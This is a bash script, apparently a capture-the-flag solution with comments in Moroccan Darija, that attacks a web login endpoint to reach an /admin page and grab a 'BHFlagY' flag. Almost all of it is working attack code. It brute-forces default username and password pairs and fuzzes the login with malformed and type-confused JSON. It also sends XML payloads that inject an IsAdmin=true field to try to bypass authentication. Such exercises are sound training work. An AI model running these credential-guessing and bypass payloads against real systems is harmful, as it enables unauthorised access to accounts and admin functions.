#!/usr/bin/env bash
set -euo pipefail

# === CONFIG ===
TARGET="http://anas_education.com"   # dir hna instance dyalk
COOKIEJAR=$(mktemp) # hna creiina temporary file li ghadi tkhlli cookies (session info).
echo "[] Target: $TARGET"
echo "[] Cookie jar: $COOKIEJAR"

# helper to check /admin using cookiejar
check_admin() {
  echo "[] Checking /admin..." # hna ghadi ndiro fetch l  /admin b cookies li kaynin f $COOKIEJAR
  FLAG=$(curl -sk -b "$COOKIEJAR" "$TARGET/admin" | grep -oE 'BHFlagY\{[0-9a-fA-F]+\}' || true)
  if [[ -n "$FLAG" ]]; then
    echo "[+] FLAG: $FLAG"
    return 0
  else
    echo "[-] /admin did not return flag"
    return 1
  fi
}

# 1) lkhotta lwla Try common credentials (JSON object) momkin  nzido bzaf  hada just exemple mais makayn waalo aslan 
echo "[] Trying common credentials..."
for u in "admin" "root" "administrator" "user"; do
  for p in "admin" "password" "secret" "123456" "root" "toor"; do
    printf "  - %s:%s ... " "$u" "$p"
    RESP=$(curl -sk -X POST "$TARGET/user" -H "Content-Type: application/json" -c "$COOKIEJAR" \
      -d "{\"username\":\"$u\",\"password\":\"$p\"}")
    if echo "$RESP" | grep -qi "Authorized"; then
      echo "Authorized!"
      check_admin && exit 0
    else
      echo "No"
    fi
  done
done

# 2) Edge / malformed JSON payloads
# y3ni ghadi ntry inputs li normal JSON ma kaykhdemch 3lihom server b style standard.
echo "[] Trying malformed / edge JSON payloads..."
payloads=(
  '{"username":"admin","password":""}'                 # password empty
  '{"username": ["admin"], "password": ["x"]}'        # arrays instead of strings
  '{"username": {"name":"admin"}, "password":"x"}'    # object instead of string
  'null'                                              # null body
  ''                                                  # empty body
  '{}'                                                # empty JSON object
)


for payload in "${payloads[@]}"; do
  echo "  - payload: $payload"
  # use -d @- to allow empty body
  printf '%s' "$payload" | curl -sk -X POST "$TARGET/user" -H "Content-Type: application/json" -c "$COOKIEJAR" -d @- | tee /dev/stderr
  check_admin || true
done

# 3) XML-in-JSON-string variants (wrap XML in a JSON string)
echo "[] Trying XML-in-JSON-string variants..."
xmls=(
  '<User><username>admin</username><password>admin</password></User>'
  '<User><username>admin</username><password>admin</password><A:->true</A:-></User>'
  '<User><username>admin</username><password>admin</password><IsAdmin>true</IsAdmin></User>'
)

for x in "${xmls[@]}"; do
  echo "  - Trying XML payload (as JSON string)"
  # Variant A: JSON string (adds quotes around XML)
  printf '%s' "\"$x\"" | curl -sk -X POST "$TARGET/user" -H "Content-Type: application/json" -c "$COOKIEJAR" -d @- | tee /dev/stderr
  check_admin || true

  # Variant B: embed XML inside a JSON field
  echo "  - JSON object with xml in 'data' field"
  curl -sk -X POST "$TARGET/user" -H "Content-Type: application/json" -c "$COOKIEJAR" \
    -d "{\"data\":\"$x\"}" | tee /dev/stderr
  check_admin || true

  # Variant C: raw XML with application/xml (may be dropped/converted by Flask, but worth trying)
  echo "  - Raw XML with application/xml"
  printf '%s' "$x" | curl -sk -X POST "$TARGET/user" -H "Content-Type: application/xml" -c "$COOKIEJAR" -d @- | tee /dev/stderr
  check_admin || true
done

# 4) Malformed JSON to trigger unmarshal/error code paths
echo "[] Trying deliberately malformed JSON payloads..."
malformed=('{"username": "admin", "password": }' '{"username": "admin", "password":' '[')
for m in "${malformed[@]}"; do
  echo "  - malformed: $m"
  printf '%s' "$m" | curl -sk -X POST "$TARGET/user" -H "Content-Type: application/json" -c "$COOKIEJAR" -d @- | tee /dev/stderr
  check_admin || true
done

# 5) Final check: try to fetch /admin even if earlier didn't show Authorized text
echo "[] Final check: /admin ..."
check_admin || true


exit 0